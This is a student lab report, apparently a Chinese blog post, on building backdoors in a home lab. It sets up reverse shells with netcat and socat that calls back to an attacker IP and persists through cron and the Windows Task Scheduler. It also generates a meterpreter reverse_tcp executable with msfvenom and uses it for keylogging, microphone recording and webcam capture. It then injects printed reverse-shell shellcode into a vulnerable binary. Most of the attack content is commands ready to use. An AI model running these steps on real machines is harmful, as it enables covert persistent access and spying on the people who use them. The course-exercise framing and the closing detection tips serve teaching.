175210 Exp2 后门原理与实践

预备工作

  • 很多博客都说要配置桥接以达到主机和虚拟机通信的效果,但其实 Nat 模式就可以达到这个效果,我用的是 Nat 模式。
  • 虚拟机安装 metasploit,这个框架默认的数据库是 postgresql,终端报创建数据库相关错误的,和我一样重装 postgresql 吧……
  • 打开 windows10 麦克风和摄像头使用权限(在设置中),关闭所有杀毒软件。

实验

一、使用netcat获取主机操作Shell,cron启动

  • nc命令
-l (listen) 表示监听
-p (port) 指定端口
-e (execute) 指定可执行数据流
  • cron定时任务
按此格式设置
m分钟   h小时  dom日期 mon月 dow周几   command执行的命令
  • 步骤
    • 设置 cron,输入 crontab -e,选择nvim编辑配置文件

    • 设置在每个小时的第32分钟执行后面的那条指令。(据我观察第32分钟后这个进程就会一直跑下去,和我想象的不一样)

    • 到了32分,上面的那条指令就会执行,此时 windows10 获得 shell

二、使用socat获取主机操作Shell, 任务计划启动

  • socat命令

    • socat <addr> <addr>在两个地址间形成的是一个 双向通道 ,类似于 nodejs 中的 pipe,可以边读边写
    • socat -u 命令可以指定数据流的方向,即一个单项通道
    • 以下是部分标识
      
      -     STDIN,STDOUT 表示标准输入输出
      
      TCP:: 建立一个 TCP 连接作为数据流,TCP 也可以替换为 UDP
      
      TCP-LISTEN: 建立一个 TCP 监听端口,TCP 也可以替换为 UDP
      
      EXEC: 执行一个程序作为数据流
      
    • 具体例子可以看这篇博客
      https://www.hi-linux.com/posts/61543.html
  • 步骤

    • 设置windows10任务计划程序。搜索管理工具,点击任务计划程序

    • 设置触发器(触发的时间与频率)

    • 设置操作,添加可执行文件(socat.exe)的文件路径及参数。相当于 执行 socat exec:cmd.exe,pty tcp:192.168.80.139:8888。注意,exec: 后面必须要加上pty,否则会报找不到管道的错误。具体解释:Generates a pseudo terminal (pty) and uses its master side. Another process may open the pty's slave side using it like a serial line or terminal. (example). If both the ptmx and the openpty mechanisms are available, ptmx is used (POSIX)。翻译成中文仍不明白它在说什么,尴尬。

    • 在 14:49 时,此任务触发。我们可以在任务列表中找到这个进程

    • linux 上启动监听 socat - tcp-listen:8888,获得windows shell

    • 删除此任务

三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 生成后门文件
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.139 LPORT=8888 -f exe > mt_backdoor.exe

    参数说明详见实验指导

  • 使用socat将可执行文件发送至 windows

    虚拟机开启监听

    windows 使用 .socat.exe -u tcp:192.168.80.139:2000 open:mt_backdoor.exe,create 接收可执行文件

  • 虚拟机开启监听

  • windows terminal 上运行.mt_backdoor.exe,linux 平台获得远程监听 shell

四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 查看arp 缓存

  • sysinfo查看系统信息

  • keyscan_start开始抓取击键记录,keyscan_dump输出击键记录,keyscan_stop停止

  • record_mic获取主机麦克风内容,-d指定录制时长

  • webcam_snap获取使用摄像头拍摄

  • shell可以获取交互式shell

  • 使用getsystem提权windows10失败。别人的博客说要利用其他的漏洞(windows/local/bypassuac),菜鸟表示目前没看懂。

五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 使用如下shellcode xc0xd6xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80

  • 前四个字节( retaddr )应覆盖为shellcode在内存中的地址,方法同实验一,这里就不截图了。

  • 开启服务端监听

  • 注入shellcode

  • 设置msf并获得结果

    • use exploit/multi/handler
    • set payload linux/x86/shell_reverse_tcp
    • set LHOST 127.0.0.1
    • set LPORT 4444
    • exploit

六、思考与总结

1、基础问题回答

  • 例举你能想到的一个后门进入到你系统中的可能方式?

    安装的第三方软件可能包含后门。下载的图片也可能包含后门

  • 例举你知道的后门如何启动起来(win及linux)的方式

    • linux: cron定时任务
    • windows: 任务计划程序,自启动项
  • Meterpreter有哪些给你映像深刻的功能

    • screenshare可以实时分享屏幕,虽然效果很糟糕
    • 可以调用ruby shell,这么复杂的工具竟然是用ruby写的
  • 如何发现自己有系统有没有被安装后门

    • 查看端口占用情况,注意被占用的过大的端口
    • 查看自启动项
    • 杀毒软件检测

2、实验总结体会

除了提权(未解决)之外没有遇到什么阻碍。做实验时觉得新奇好玩,现在想想还是挺复杂的,meterpreter 真的是对着指导书输指令,输完了就忘了好多。

原文地址:https://www.cnblogs.com/mtzf/p/12549549.html